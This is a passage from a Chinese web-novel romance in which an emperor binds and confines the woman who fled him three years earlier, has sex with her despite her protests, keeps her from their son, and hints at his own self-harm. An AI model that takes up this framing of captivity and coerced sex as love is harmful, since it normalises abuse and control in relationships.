“你疼?你走的时候你就没想过我?你就没想过小聿?!” 他从前倒从没想过她竟真会如此冷心,自己身上掉下来的一块肉都可以说丢就丢。她就该去当刽子手,反正她连自己的儿子都能不要。 她那样干脆就走,现在竟还有脸说疼,她走的时候,就没想过他会疼嗎? 妙珠看着面容扭曲的陈怀衡,他大概是恨她恨到了极致,整张脸已经被恨意扭曲得不成样子了。 离开的这三年,就只是三年,对于妙珠来说只不过是弹指一瞬,可是不知道为什么陈怀衡却面目全非了。 妙珠被他捏着肩膀,肩胛骨都感覺要被捏穿了,妙珠眼中疼出泪了,她终于出声了,她抓着陈怀衡的手腕,道:“好疼啊,阿衡” 听她叫他阿衡,陈怀衡的瞳孔不受自己控制地颤了一下,那被她的手按着的手腕好像也要被熔岩烫穿,他下一瞬好像就好随之融化。 阿衡。 他这三年做了多少次的梦,梦中的妙珠喊着他阿衡。 可是,陈怀衡看着她,听到她喊他的名字,脸却扭曲得更叫厉害了一些。 “你还想騙我,你又想用这招来騙我是嗎?我已经不是二十岁的那个蠢货了!你现在在騙我已经没有用了,现在喊我又想干什么?下一步是不是想马上跑走?” 她当初就是这样騙他。 她说喜欢他,她说爱他,她喊他阿衡,说好喜欢阿衡。 她说,阿衡你在家等我回来 然后呢? 然后她就跑了。 他到底是为什么会被她骗? 她如今又想来故技重施,陈怀衡再也不会相信她口中的任何一句话了。 妙珠被他掐得疼得慌,她泪眼盈盈望着他,试图抓着陈怀衡的手腕,对他道:“你冷静一点行嗎,阿衡。” “冷静”陈怀衡嘴角勾起了一抹残忍的笑,“你把我逼疯了,现在反倒要我来冷静。” 他被她逼得日日夜夜不能安宁,他被她逼得甚至就连自己最能控制的情绪都控制不了,他的手上全是因为忍受不了痛苦而留下的疤痕,他已经地覆天翻,她到头来就丢给他冷静两个字。 若是有人见过十八岁的陈怀衡,再见他如今这模样,一定会感到极大的惊讶。 是他嗎?这还是那个天威凛凛乾坤独断的少年帝王吗?他全然变成了另外一个人,他敏感,多疑,易怒,他活脱脱就像是一个毫无道理的疯子,然而,他就是变成这样了!十八岁陈怀衡也从没想过自己有一天会变成这样,然而,他就是变成这样了! 几年的时光。 就几年的时光。 明明一开始的时候都好好的。 刚登基时候那段最黑暗的时光也熬过来了,可偏偏这几年同样的黑暗却就跟在油锅里面煎着一样難熬。 妙珠面对着盛怒中的陈怀衡,也实在是没办法为自己去辩解些什么,当初若是事出有因,她现在倒还能编写理由出来,可是事实不是再显而易见的吗?她的逃跑简直是蓄谋已久,她的主观意志如此强烈,難道还能有什么借口来替她做辩护吗? 没有的啊。 没有。 她的私心如此明显,她弃他而逃的行为找不到任何理由来推脱。 所以啊,妙珠只能说:“可是,这也要怪我吗?我以前不是也很明明白白的告诉过你,我讨厌你啊。你不让我走,我实在是没办法了啊。” 她不是说过讨厌他的吗?她以前不都是清清楚楚地,明明白白地告诉过他,她讨厌他吗。 他不信啊,他非要自己骗自己,那她怎么办?跟着他一起骗呗。 陈怀衡听到妙珠的话后,脸上神情更加難忍。 妙珠看着他的神情,身上都起了一身鸡皮疙瘩,她道:“阿衡,你冷静些,你冷静些” 她都回来了不是吗。 她最后还不是被他逼回来了,不 是吗? 他这么生气做什么呢? 她都还没生气呢。 她都还没问他,你到底为什么就非是不肯放过我。 就在两人争执时,殿门外传来了一阵敲门声。 这个时候来敲门的会是谁呢? 还没待两人开口,就听到外面传来一声稚嫩的童声。 “父皇,是我,是小聿。” 妙珠的脸上终于有了明显的反应。 锦聿 她跑走的时候他多大? 才一岁多是不是? 现在都快要五岁了吧。 妙珠听到他的声音,那张脸上终于浮现了一些堪称痛苦的情绪,妙珠想要转身去开门,可是陈怀衡却抓住了她的手往里殿去。 “你不配见他。”陈怀衡的声音又冷又冰,给妙珠这个母亲判了死刑,他说,“当初你既选择抛弃他,你现在就不配见他。” 陈锦聿的声音仍旧从外面传来,他说:“父皇你在做什么呢?在忙吗?那我晚些来找你吧。” 说着说着,就渐渐没了声音,看样子是离开了。 妙珠听到锦聿的渐行渐远,见陈怀衡竟不让他们母子相见,她也终来了脾气,她说:“我为什么不能见他!你凭什么不让我见?” 陈怀衡冷眼看他:“你说凭什么?你不是要跑吗?你自己一个人跑的时候你想没想过锦聿才一岁多?” 妙珠说着说着不知何时起流了泪:“这是我想的吗?難道不是你把我逼得连孩子都不能要吗?” 陈怀衡最不喜欢听她说这些,他说:“我逼你?我承认一开始的时候我对你是不好,后来呢?后来你要什么我不顺着你?我把你捧在手上怕摔了,含在嘴里怕化了,你要什么我给你什么,你说什么我听你什么,我被你哄成了一条狗,我把你捧到天上去了,到头来你又说我逼你!” 妙珠反问:“我要什么你就给我什么?我要出宮,你给我?我就不想待在你身边半死不活过着,你又听我的?!你听个狗屁!到头来一个孩子你就想要叫我望岫息心,冰释前嫌?!你怎么每回都能把事情想这样轻松!” 两人骂来骂去,恨不得都把对方刺激得戳出几个洞才肯作罢。 陈怀衡听她又说这些,切切实实是被戳到痛处,他不再看她,繼续拽着她往里殿走:“好啊好!现在终于说实话了,我告诉你,你这回再也别想骗我了,也别想着我再怎么去疼你了!” 说着,他把她拉到床榻边,他不知道从哪里寻来了两根绳子,二话不说就把妙珠绑在床榻边,她的两只手都被绑上,绑得严严实实的。 陈怀衡绑完她后也没有繼续待在这的意思了,任由她怎么叫喊怎么骂,仍头也不回地离开。 妙珠看着手上的绳子,怎么也挣脱不开,只得作罢。 她不知道陈怀衡是去哪里了,也不知道他这又是想要做什么? 难道要一直把她绑在这吗? 妙珠想到方才锦聿过来,想到以前那个丁点大的孩子现在竟都会喊父皇了,又想到陈怀衡说她不配见他 他说的何尝不是实话? 她配见他吗? 当母亲的不要儿子,如今又哪里来的脸去见他。 就像是她,如果她那个抛弃她这么多年的父亲再回来见她,她也只想让他去死。 妙珠不敢再繼续想下去了,越想那颗心越发得疼痛酸涩。 看看她,兜兜转转的,一路上咽下这么多苦。 最后还是落到这样的境地了。 还是什么都没有了。 后悔吗? 后悔回来吗。 那不后悔的。 她想了想,如果当初不是因为陈怀霖在那样的时候拉了她一把,她这辈子或许连宫门都踏不出去,他让她好不容易觉着自己有了点人样,如果不是他,她或许一辈子都不会那样坚定地想着走出去。 她好不容易出去了,可他要死了,她做不到看他死啊。 物是人非事事休。 如今他即便变了样,那也没关系了。 这人世间太糟糕了,谁下来被染一遭,都难干干净净走。 不能苛求一个善良的人一直善良。 那太歹毒了。 那实在是太歹毒了。 妙珠挣了几下这绳子,死活挣不开,偏头看向殿外,乌云一如既往浓厚,她哭着哭着,也哭累了,一大早赶路回京,一直到现在闹腾了这一番,她再忍不住,躺在榻上睡了过去。 最后天上还是落了雨,雨水淅淅沥沥滴在屋檐上,这场秋雨来得不算猛,却急,就在晚间,乌云再也承受不住雨滴的重量,将他们落在了人世间。 陈怀衡从寝殿里面离开之后,哪里也没有去,他就坐在外边的龙椅上,坐在方才坐着的那个位置。 他现在若继续和妙珠说下去,他会被她活生生气死,他恨她,可是看到她却又恨不得狠狠地把抱进怀里,他怕再吵下去,他不会从她那里继续占上风,所以,他不吵了。 他是要冷静。 他是该冷静。 可是,一直到现在,他整个人却都还抖动得厉害,他咬着手背,烦躁难忍,他又想故技重施去摸索刀过来解决自己的烦闷,这时锦聿却来了。 陈怀衡把东西藏了起来,故作如常问他:“你今日来找我过来是做什么?” 锦聿走到了他的身边,他像是发现了他的不寻常,他没有回答他的问题,反问道:“父皇,你怎么了吗?” 陈怀衡揉了揉额穴,强打起了精神,他揉了揉他的小脑袋,道:“政务烦人了些,没什么事,你到底是怎么了?有什么话要说?” 锦聿想了想后,还是开口道:“听闻皇叔今日不用行刑了?” 陈怀衡“嗯”了一声,脸色算不得多好看,只是又问:“你问这做什么?” 锦聿和陈怀霖又没见过几面,他们并不相熟。 锦聿想了想后,问道:“父皇真的梦到皇祖父了吗?” 陈怀衡被他问得头疼,“啧”了一声:“问这些做什么。” 锦聿这便不肯说,只是嘟囔了一声:“好奇而已。” 父皇都能梦到他的父亲,为什么他梦不到自己的母亲呢?是因为从来没有见过的缘故吗? 陈怀衡也没再继续问下去,只是,和锦聿说几句话后心竟也渐渐冷静了一些。 妙珠心中总是有孩子的。 她总也是放不下锦聿的。 锦聿没有在这里待多久,他也看出父皇今日的古怪了,没有继续留在这里烦人的意思。 他离开后,稍稍冷静了一些下来的陈怀衡像是终于想起了里殿还有个人。 他起身往殿内去。 妙珠哭累了,闹累了,还是睡着了。 陈怀衡见她睡着,心中竟生出一分庆幸。 若她醒着,他连好好看她的机会也再没有了。 陈怀衡轻手轻脚到了甚至蹑手蹑脚的地步,他走到床边,在榻边坐下,终于能够仔细去打量起这个丢弃了他三年的女人。 她真的没怎么变。 只是眉眼之间褪去了几分稚气,看着显然比之前成熟了一点,方才和他争论的时候,眼中也再寻不到一点瑟缩了,她条理清晰地把他的满腔怨恨怼了回去。 她冷眼旁观他的失控,反倒他像是个疯子。 他被她逼成了疯子,到头来她又是那样怡然自得。 这三年她过得分明也不怎么好,苦日子是那么好过的?当 初她走的时候带了什么东西走吗?没有,大抵是怕被他发现什么不寻常的地方,她什么也没拿走。而她又脸皮薄得很,就当是宁煦给她一些上路的盘缠,她怕也不会拿太多走,再难过,再难走,也要自己硬抗硬撑下来。 穿着的衣服摸着都剌手,想也知道这日子过成什么样了。 怎么会有人像她这样蠢,钱没有,谈什么自由? 这虚无缥缈的东西,对她而言究竟为什么这样重要。 她这三年到底是躲到哪里去了,又有没有叫别人欺负?在外面过得苦不苦?又有没有背着他找别的男人? 陈怀衡想不明白的东西越发得多,问题一个一个接踵而至,这些问题搁在以往的时候随便拉出来一个都足以让他难以忍受,可是而今,没关系了,她回来了。 她回来了…… 那些个蠢问题也可以暂且抛之脑后了。 折磨了他三年的蠢问题可以暂且抛之脑后了。 陈怀衡就这样盯着她,一直盯到再忍受不住的时候,终于伸手去触碰她。 他的手指抚过她的眉梢,抚过她的眼睛,抚过她的嘴唇 他轻轻地,却又重重地抚着这个叫他日思念想、魂牵梦萦的女人。 可即便动作再轻,却还是弄醒了本就眠浅的妙珠,她甫一睁眼,就见陈怀衡在她脸上摸摸索索。 陈怀衡见她醒来,又冷着脸收回了手。 妙珠哪里知道他在想些什么,也不知道他在她的脸上摸来摸去是想做些什么。 她不知道自己睡了多久,只见外头的天都黑了,不知道又是从什么时候开始落起了雨来,她的手还被绑着,陈怀衡并没有想松开她的意思。 “你究竟要绑我多久?”她深吸了一口气,看着一旁冷着脸的男人,因着睡前和他吵了一架,哭了一回,现下醒来嗓子都哑得很,她问他,“我一回来,你就要欺负我吗?” 陈怀衡听到她的话,下颌绷得更紧了一些。 他不会再对她好了,对她好一点她就会想着利用他的好来做出些伤他的事。 他对她好一点,她就会顺着杆子往上爬,最后用尽一切都要逃跑。 他被她毁成什么样子了? 他不要再对她好了。 可是,听到她的话后,即便他的脸色如何冷沉,即便他的心里想得再多,最后却还是伸手摸向了绳子。 三两下就给她松了绑。 妙珠手都险些被绑麻了,本来以为手腕那处得肿起来一块,可也不知道陈怀衡是用的什么法子绑的,她看了看后却没发现任何痕迹。 她揉着酸麻的手腕,陈怀衡就在一旁坐着,视线落在别处,没有看她。 两人的脸色都算不得好。 最后是妙珠先开口说的话。 她说:“你把我绑了一个下午,然后呢?然后你要一直绑着我吗。” 和他那不大好看的脸色相比,她的声音听着却没什么情绪,冷静得就像是个事不关己的局外人。 陈怀衡没有回头看她,仍旧面无表情道:“对你这种不听话的,没心肠的人,一根绳子绑一辈子才清净。” 妙珠听到这话竟笑了,只这笑太淡了,淡得都快看不见了。 她说:“我餓了。” 陈怀衡道:“你还知道餓?” 妙珠自顾自道:“我昨日从外边赶路回京城,也就今早那会吃了两块甜糕填肚子,我快一日没用过膳了” 陈怀衡回头看她:“你又想我可怜你?” 她只是陈述事实。 陈怀衡脸上表情不好看,可到底还是让人端来了晚膳。 贱得很。 他说他自己。 他让人端来晚膳,却起身离开这处,不再继续待在这处。 来送晚膳的还是卿云,卿云今个儿已经听说她回来了,只是回来后就一直在主殿里头没出来过。 卿云回想起这三年陈怀衡过的日子,想他心中大抵也是怨恨妙珠的,就怕他又会对妙珠做出什么不好的事来,却也不敢过来劝,毕竟陈怀衡这三年性情大变,脾气比先前更恶劣更可怖一些,劝也怕是劝不动。 好在进来的时候发现妙珠好好的,没出什么事。 卿云上下看了她好些眼,即便妙珠没什么变化,可她竟也还是好一下没认出来,说是没认出来,倒是觉得她在眼前有那么几分的不真切。 三年的时间。 本以为她一走就会是一辈子,可是,还是回来了。 直到妙珠咧开嘴冲她笑了笑,道:“卿云姐。” 卿云许久不见她,看她相貌没什么变化,然而一开口,却觉她整个人还是变了许多。 出宫三年,人是真的开朗许多了。 即便现在是又被逼回了宫里,却好像也没有为之伤神。 外面的风水果然是养人。 卿云让人把饭菜在她面前放好,见她冲她笑,也笑着回了她一声:“诶。” 妙珠看样子是真饿着了,起身去桌前用膳,嘴巴都塞得鼓鼓囊囊的。 卿云笑她猴急,道:“你这么急做什么呢,没人和你抢呢。” 这些年在宫外虽吃得也都不大好,可妙珠向来是不挑嘴的,现下真是饿了一天饿得狠了,看着眼前的饭菜,也顾不得什么往嘴巴里面夹。 好不容易吃饱了一些,卿云问她:“你这些年过得好吗” 卿云瞧她身上只穿着一身简单的素裙,袖口都有些洗得发白了,而头上的发也只简单用一根木簪子束着,哪里都瞧着有些不大好。 又见她吃饭都这样急,以为是在宫外饿得苦了,也难怪人瞧着确也消瘦了一些。 妙珠顿了顿,而后笑着道:“当然好啦。” 这三年日子确实是没在皇宫过得舒坦,吃啊穿啊的不用提,就像是从天上掉到地下。 可是这些有什么打紧的呢,她心里头痛快啊。 心里头痛快,吃得再不好,住得再不好也只觉得痛快。 妙珠低着头笑:“最痛快的就是这段日子了,只是有的时候也会有些想小聿,他还好吧” 卿云听她提起陈锦聿,也叹了口气,她道:“他也很想你。” 妙珠走的时候他才一岁多。 他记不得妙珠。 可是,卿云时常会见他一个人发呆。 卿云问他在想些什么,他就问她:为什么娘不要我呢? 哎,哪有为什么。 因为妙珠不只是母亲。 没办法说妙珠的不是,她没有对不起陈怀衡,可陈锦聿她不能说没有对不起。 可是,这种事情实在没办法取舍。 天大地大,哪里有让孩子大过自己的道理呢。 妙珠听到卿云的话后,愣了好一会,眼睛又觉酸得很。 她不再说了,卿云见她伤心,也不再说了。 等到晚些的时候,妙珠被宫女领去净过了身,净过身后又躺回了榻上。 她想着往殿外去过,可就连里殿都出不了,陈怀衡让宫女们守在了寝门那里,她哪里都去不了。 陈怀衡一直到很晚也没回来,妙珠也不知道他是想做些什么,把她困在主殿这处,他自己却又没了人影。 他现在在想些什么,妙珠已经猜不到了。 三年的时间,竟足够让人面目全非。 妙珠已经什么都不想再去想了,大约是到了子时,也受不住困,自然而然就睡了过去。 只是,不知道多晚了的时候,她又被闹醒了。 腿间有什么异样。 妙珠被那股异样弄醒了过来,迷迷蒙蒙睁眼,她定了神来,就发觉似有一个毛毛茸茸的东西在tui心动来动去,她发出一声低呼,就听得一道低沉地声音传来:“这些年有没有在外面寻野男人?” 妙珠就知道他会这样。 她想要抓着他的头发把他揪开,可是这个举动却又不知怎么惹恼了他,他从下面起来,宽大的身躯兀地覆在她的身上。 他是瘦了好多,可是不知道身上的力气为什么还是那样大,按着 她都快喘不上气。 他不知道为什么突然就急躁得不行,他问:“你有没有在外面找别人!说啊!” 她就不是个能闲得住的人,谁都能骗她,这三年有没有又被别的男人骗! 如果她找了别人,那他又算是什么,前有陈怀霖,后又别人,他算是什么! 嫉妒轻而易举就能冲昏人的头脑,他都快忘记了,妙珠这回可是为了陈怀霖回来的。 妙珠都觉得他下一刻要掐死她,她说:“没有,我没有别这样,你别这样。” 不待她继续说下去,陈怀衡没两下就给她浑身上下弄得湿哒哒一片。 见她似也动了情,陈怀衡便动作了起来。 第57章 第五十七章你到底有没有心 陳怀衡进来后就再没说过一句话,妙珠被他弄得难忍,不停地道:“轻点,你轻点行不行” 可陳怀衡怎么可能会听她的。 他就像是要把这三年的恨都还给她,就像是要把她生生地融进自己的骨血里面。 妙珠抓着他的背,她颤着声音道:“我不是都说没有找别的男人了嗎,你为什么还要这么凶呢” 陳怀衡听到这话,终缓了一些,他问她:“你離开那三年,一次都没有想过回来嗎,没有想过錦聿?” 没有想过我嗎 妙珠道:“我我想啊。” 她怎么可能不想呢。 妙珠说完了这句话后,就再没听到陳怀衡出声了,他仍旧是那样我行我素,动作是慢了,可是恨不得把他整个人都塞到她的身体里面。 妙珠一边喘着气,一边骂他:“你太混账了,你能不这么弄这么里头嗎。” 陈怀衡不说话,留妙珠一人在黑暗中自说自话,他不听她的,她就掐他,就扣他的背,把他的背上都抓出一道道血痕报复他,到最后,她被他弄得起伏飘摇,连抓他的力气都没有了,手臂软塌塌的垂落在一旁。 不知过了多久,终于结束,妙珠整个人都快累瘫过去了,陈怀衡从身后死死地勒着她,她檀口微张,微微喘着粗气,不知不觉就要在黑暗中昏睡了过去。 可是,不知道是不是她的錯觉,睡过去前,却觉肩膀那处湿了一大片。 她终是没有细究,半睡半昏了过去。 等到第二日她再醒来时候,陈怀衡又没了身影,妙珠一人从空荡荡的床上醒来。 下意识动了动手腕。 今个儿没叫他绑住。 陈怀衡大抵是恨她,每回见她都是那副阴沉至极的样子,除了责问她,一句话也不肯和她多说,妙珠就算是想和他好好谈一谈都不行,触及他那一副冷漠的面孔,她就什么话都说不能说了,因着说了他也不会理会。 可他既如此恨她,又为何还非要留着她在床边碍眼?单是图她的身子? 那也怪得很了,都三年了,他怎么就这般放不下。 妙珠没再多想,撑着手坐起了身,不过一会,就又有人送来了早膳。 这回来的竟是荣桃。 荣桃也成大姑娘了,脸上褪去了那一团团稚气,见妙珠回来,也又是哭又是笑。 哭是因为她最后还是回来了,笑是因为她还好好的,好在是没出什么事。 荣桃也没能在这里久待,给她送完早膳便離开了这里。 妙珠仍旧是出不了门。 陈怀衡就像是铁了心想把她困在这一方天地,妙珠能看到的只有窗外的天空。 算算这个时辰,陈怀衡应当上完早朝了才是,可她在里殿并没有听到殿外傳来动静,想来他是在外头办事,还没回乾清宫来。 妙珠待在里殿无所事事,好在以往她打发时间看的那些书还在屋子里头,她无事也只好拿了这些打发时间。 不知过了多久,外头终于傳来一些动静。 妙珠走去寝门旁,竖耳去听,只听得一道稚嫩的童声响起。 “父皇还没回来吗?” 妙珠一愣,反应过来后扒在寝门一看,果见是錦聿不錯。 这还是她回来之后见他的第一眼,昨个儿錦聿来过一趟,只是陈怀衡不讓她见他。 他说她不配见他。 配不配的不是陈怀衡说了算的。 妙珠知道,他嘴巴就是这样恶心,没占理的时候都不肯放过别人,若是占到了理,就更是得理不饶人了。 他说的话,她不会再放心里了,也不会因为他的话苛责自己。 可是,錦聿的事他实在是没说错。 他说了千百遍难听的话,可独独锦聿的事他没说错啊。 妙珠的视线落在那个孩子身上,心里头又觉酸得要命。 锦聿长得好快。 啊。 他竟这样大了。 穿着黄燦燦的衣裳,眉眼之间竟已和陈怀衡有那么几分相像了,只是孩子气的脸远没有陈怀衡那样锐利。 当初走的时候他连路都走不太利索的,父皇母妃什么的也是喊不明白的,只会咿咿呀呀从口中蹦出“娘”“爹”。 他第一声喊的是娘。 不是爹。 他原本是和她最亲近的。 妙珠不敢再看,一时之间也不知道怎么去面对那个自己十月怀胎生下的孩子。 可锦聿却也看到了她。 就像是那么一瞬间的母子感应,福至心灵,两人对视到了一处。 锦聿年纪终究是太小,看到那个出现在父皇寝宫中的女人之时,脸上神情變了又變。 妙珠也不知作何反应,愣了又愣,一直到锦聿抬步朝她走来,她才终于抽回了神来。 陈锦聿仰头看着她问:“你为什么会在父皇的寝宫里面?” 妙珠竟也不知该去如何回答他的这个问题,这一刻他站在她的面前,她甚至都不敢说自己是他的母亲。 怎么说呢? 说出来他也该恨她了 妙珠竟难得对一个四岁多的孩童无措,她支吾了个半天竟什么也说不出来。 最后是锦聿皱着眉问道:“你你是母亲?” 他很聪明,就像是他的父皇一样。 眼看妙珠这幅样子,竟什么都猜出来了。 场面一下子就因为锦聿的这句话变得窘迫了起来。 妙珠一时不知该如何是好,認也不是,不認更不是。 认?她没脸认。 讓孩子知道母亲抛弃他跑了三年,孩子不可能没有怨恨的。 不认?她又不甘心。 她辛辛苦苦生下他,本就是他的母亲,她凭什么又不能认。 而锦聿却又步步紧逼,将妙珠逼迫到了一种更难堪的境地,他眉头拧得更深了一些,这幅模样和陈怀衡没什么两样,他又问她:“你为什么不要我了呢?” 他想起父皇说的那些话,又问她:“是因为我没用,母亲才不要我吗。” 父皇说,是因为他没用,所以才留不住自己的母亲。 那是父皇醉酒的时候说的话,锦聿知道,醉酒的父皇是半个疯子,他说的话当不得真,可是,他也实在是想不出其他的缘由了,若非是因为他无用,母亲为什么又不要他了呢。 妙珠嘴唇张了又合。 她想说,她没有不要他啊。 她没有。 然而事实就摆在眼前,她就是不要他了。 妙珠最后还是什么都没能来得及说,因为陈怀衡回来了。 他不知道是去了哪里,现下终于回来了。 他看到那母子两人见了面,视线也只冷冷地落在妙珠的身上。 看着妙珠她痛苦的神情,最后只是让宫人将锦聿带离开了此处。 他道:“带太子出去。” 妙珠什么也没说,锦聿也什么都没说,他们 任由陈怀衡做出这个决定。 陈怀衡眼神又冷又淡,一点情绪都看不出来。 他只是冷眼看着妙珠,讥讽道:“当初好像是你自己先不要他的吧,你难道又没想过你离开的时候的锦聿才多大,现在这幅样子难受给谁看?” 锦聿离开,妙珠听到陈怀衡的声音也终于收回了自己的神识。 她看向陈怀衡,她也毫不留情地刺他:“我没有不要他,我不要的一直都是你。” 如果不是他,她最后能落得这样丢弃孩子的地步吗。 陈怀衡那本没什么情绪的面色就因妙珠这一句话说得扭曲,她总是一次又一次,不留情面地去揭开当初她弃他而走的事实。 她对这事并不觉得抱歉,再提去此事也只有畅快。 可陈怀衡不一样了,每一次提起这事,毫无异于鞭笞他的灵魂。 三年他怎么过的? 他自己都不记得是怎么过的了。 妙珠回来了,现在就站在他的眼前,可是那种她随时会再离开的感觉一直萦绕于心头不散。 她无所谓地去提起往事,因在她看来,那三年就只是三年,她也从不想到这三年对陈怀衡来说算是什么。 陈怀衡听到她的话,看着她那又冷又淡的眼神,就那么一瞬间,就只是那么一瞬间,他恨不得和她一起死了干净。 妙珠见他表情如此难看,却仍是不放过他。 她想让他放过她的时候,他放过了吗? 她方才是说到他的痛处了?那很好了。 她看着他继续道:“脸色这么难看又做什么?你难受了?你又想怎么欺负我了吗?” 妙珠一直都知道陈怀衡的,他这人若是不痛快了,总是想着也叫别人不痛快的。 陈怀衡最后什么都没能做,末了,也只是看着她,冷冷地从牙缝中挤出几个字。 “你到底有没有心。” 妙珠叫他这话说得终噤了声。 她又不是没有眼睛,陈怀衡这三年变化之大,她也不是没有看出来。 可是她不明白,他这样的人,竟还真会因为一个女人的背叛将自己弄成这幅样子。 只是和她有什么关系呢? 她怎么就没心了? 他说她没心吗?可他若有心,他们能走到这一地步? 妙珠不回答他的这个问题,没什么好说的,他觉得她没心,她还觉得他也没心呢。 她只是看着他问:“你为什么要对小聿说那些话?” 他也就只是个孩子,他哪里来的脸把错都推到他的身上去。 陈怀衡反问:“这三年养他的是我,教他的也是我,我想说什么就说什么,你连养都不养他,你管我说什么。” 妙珠不接他的话茬,道:“他就是个孩子,你何必这样伤他。” 陈怀衡薄唇勾起一抹弧度,讥她道:“我说错了?他若有用,能连自己的母亲都留不住吗。你抛他弃他,现在还反倒来挑我的不是。” 妙珠无言片刻,良久才憋出一句:“你这个人从来只会怪别人。” 第58章 第五十八章可恨的另有其人 他总是能把自己从一切的错里面摘得干干净净。 独独自己明月高悬,恨尽世间所有人,也恨不到自己的头上去。 “从来”二字,很轻易地就牵扯出了一大片往事。 只是简简单单的两个字罢了,可这两个字只是一笔总账,而其后还掩藏着一大堆的细枝末节。 这其中的含义,经由妙珠一出口,他们两人就心知肚明。 陳怀衡知她这话是什么意思,他的最后一丝理智也被妙珠摧毁了。 他知道错了不是嗎?如果他不知道错,他又能落得这样的境地? 他也再装不下去,从她回来后一直冷着的那张脸终于有了情绪,他看着她道:“行,翻舊账是吧,从前的事我对不起你,是我对不起你!我不把你当人,怎么,我现在也贱得没人样了,你舒服了一点有没有?那我做错了事,我也付出了代价,当初你自己不要錦聿,你自己犯了错,这点伤又受不了了?” 他承受不了,那代价他也给了,当初她没人样,他现在也被她逼得没了人样了,这事扯平不扯平先不说,他反正左右也这幅模样了,那她呢,她抛弃了他不会感到一丝抱歉愧疚,那自己的儿子呢?她现在不安痛苦,她自己也該承受。 而既舍不得孩子,又为何非要寻死觅活想着逃跑。 就为了让他生不如死是不是。 那很好,他已经生不如死过了三年,她还不能舒服一点嗎。 陳怀衡的话一句一句往外边蹦,像是掩盖着什么,声音越来越大,近乎是吼着出声,可还是有些东西不能被嗓音掩盖住,他的声音又越来越抖动。 妙珠听到陳怀衡的话后,眉头紧紧拢成了一团,她也吼他:“你错就错了,你吼那么大声干什么啊!” 他认错就算了,可说到最后又扯到她身上,非要带着一起说她也错了。 妙珠懒得理他:“你不好过,我又凭什么舒服?你心里头難受,和我有什么干係?” 没关係?她竟说没关系。 即便早知她狠心,可这话又从她口中倒了一遍之后,只叫人覺得心梗,陳怀衡覺得自己喉口涌上了一股血气,硬生生才逼了回去。 听她如此冷漠的话,疑心再说下去,血下一刻就該马上喷涌而出,他不再继续和她说下去,转身就离开这里。 妙珠见他要走却不肯了,她冲着他喊道:“你到底要关我到什么时候!” 听到了妙珠的话,陈怀衡却连步子都没顿一步,径自往外面去了。 妙珠见他离去的身影,气得往一旁的桌子上踹了一脚,桌子没踹动,自己倒是脚踹疼了。 果不其然,后面一连几日陈怀衡都是如此,他早出晚归,除了晚间时候歇在这里,其他的时候一点人影都见不得,有时候他是坐在主殿外头,有的时候干脆人都不在主殿这里,也不知道是去了哪里,妙珠不管说什么,他都冷着脸。 他这幅样子,倒真像她做了什么天怒人怨的事情出来,才叫他这样恨她。 这些日子,錦聿也来过几回乾清宫,只自然是来寻陈怀衡,而不是她。 他已经开始认字了,大多数时候也都是来寻陈怀衡认字的,按理来说宫中是最不缺先生的,再不济说,卿云也是识字的,可偏偏,锦聿就是来找陈怀衡认。 陈怀衡他竟也有耐心教孩子,妙珠偷偷瞧过一两眼,他教着孩子竟也難得没有发脾气。 妙珠又想,既是对孩子上心,可为什么又教他说那样的话? 什么“是因为你没用,母亲才不要你了”,这是人能教孩子说的话嗎。 又或者单纯只是记恨她?所以也叫孩子跟着一块记恨她才叫痛快? 妙珠在里殿听着锦聿的说话声,更覺心绞。 她又在外头已经野了快有三年了,她一刻都要受不了这冷冷清清的乾清宫了。 陈怀衡是想用这个来折磨她嗎? 那她确实受不了。 他每日都趁着她没醒的时候就走,每回一走,只到深更半夜才会回来。 就这样,不知不覺过了多久,算起来都已经入了九月份了,空气之中也已经带了浓厚的凉意,尤是早上醒来那会,整个人都凉飕飕的。 妙珠实在是受不了他的冷漠,受不了他对她的变相囚禁和控制,她一开始还想着和他怄气,可是,到了最后只能自讨苦吃。 陈怀衡现在已经没那么好说话了。 他不再像是从前那样了,不再是她说什么,他就轻易地相信。 一个早上,她比陈怀衡还早醒来,只是还闭着眼睛,没有睜开。 原来,陈怀衡醒来之后并没有马上起身就走。 妙珠察觉到他坐起了身,却也不知是在做些什么,竟好一会没有动静。 直到后来,她感觉到有气喷在她脸上,而后,感觉到他在蹭她。 他在用嘴,蹭她的眼睛,鼻子,嘴唇。 像是怕弄醒了她,动作很轻很轻。 妙珠兀地睜开了眼,待到陈怀衡起身时,便看到她不知是何时醒了过来。 许是没有料到妙珠已经醒了过来,他面上的表情也不如她平 日见他那样冷漠,只他那神情竟又实在是叫妙珠描述不出,他很痛苦?他在痛苦什么。 只是陈怀衡脸上那五花八门的表情在见到她醒来之后,转瞬归于死寂。 他没有被撞破的羞恼,甚至脸上就连一丝不好意思都没有窥见。 他只是冷漠地又要起身。 妙珠察觉到他的意图,知道他这一走,怕是又要到深更半夜才回来。 她又要白白在这里面被关上一日。 妙珠扑上去抱住了他的背,不让他离开。 她的眼泪说来就来,她哭着道:“你到底要关我到什么时候?你到底想关我到什么时候?” 是真委屈。 真委屈啊。 他为什么关她呢? 他是真的想要关她一輩子吗。 他明明也不像他平日装得那样冷漠,既不是那样,可为什么又还要这样对她呢。 妙珠实在是弄不懂他了。 陈怀衡听到她哭,下颌紧绷得厉害,却仍舊是不为所动。 她总是这样。 总是妄图掉几滴眼泪就要叫他心软。 他不是从前的那个傻子了。 再不会叫她的眼泪蒙骗。 他想要扒开她那紧紧扒着他腰身的手。 可是,不知道是不是妙珠抱得太紧了的缘故,陈怀衡竟使不上一点力叫她松手。 他想要再像以往一样,冷着脸拉开她的手,头也不回的大步离开。 然而,她的哭声,她的手臂,就像是圈禁在他胸口的一把绳套,一点一点地,把他的心都揉成了一团,一团乱麻,再无还手之力。 此间除了她的啜泣声外,再没其他的声音了,妙珠得不到他的回应,心却更乱,手也抱得他更紧了一些。 “你别不说话,别不说话啊。你别再这样一个人关着我行了吗,我也想看看小聿,我也想和他说说话,我再跑不掉了,不是吗?你何必这样囚着我呢?” 也不知过了多久,陈怀衡终于出声了。 妙珠看不到他的表情,只能听得到他那似凝着冰的声音。 他说:“你让我拿什么信你?” 他难道被她骗得还不够吗。 她在他这的诚信已经为零,他再信她一次,他觉得就是拿自己的生命在和她赌。 这个问题也让妙珠沉默许久。 过了好半晌,空气中安静得似乎只剩下了两个人的心跳声,妙珠终于开口。 “你可以再不信我,可是,你真的想要我恨你一輩子吗。” 她又道:“三年说长不长,说短不短,我就在外面待了三年而已,接下来呢,接下来又还有几十年。” 三年让他像是熬了一辈子。 那接下的一辈子呢。 关她一辈子? “陈怀衡,别这样对我。” “别这样啊” 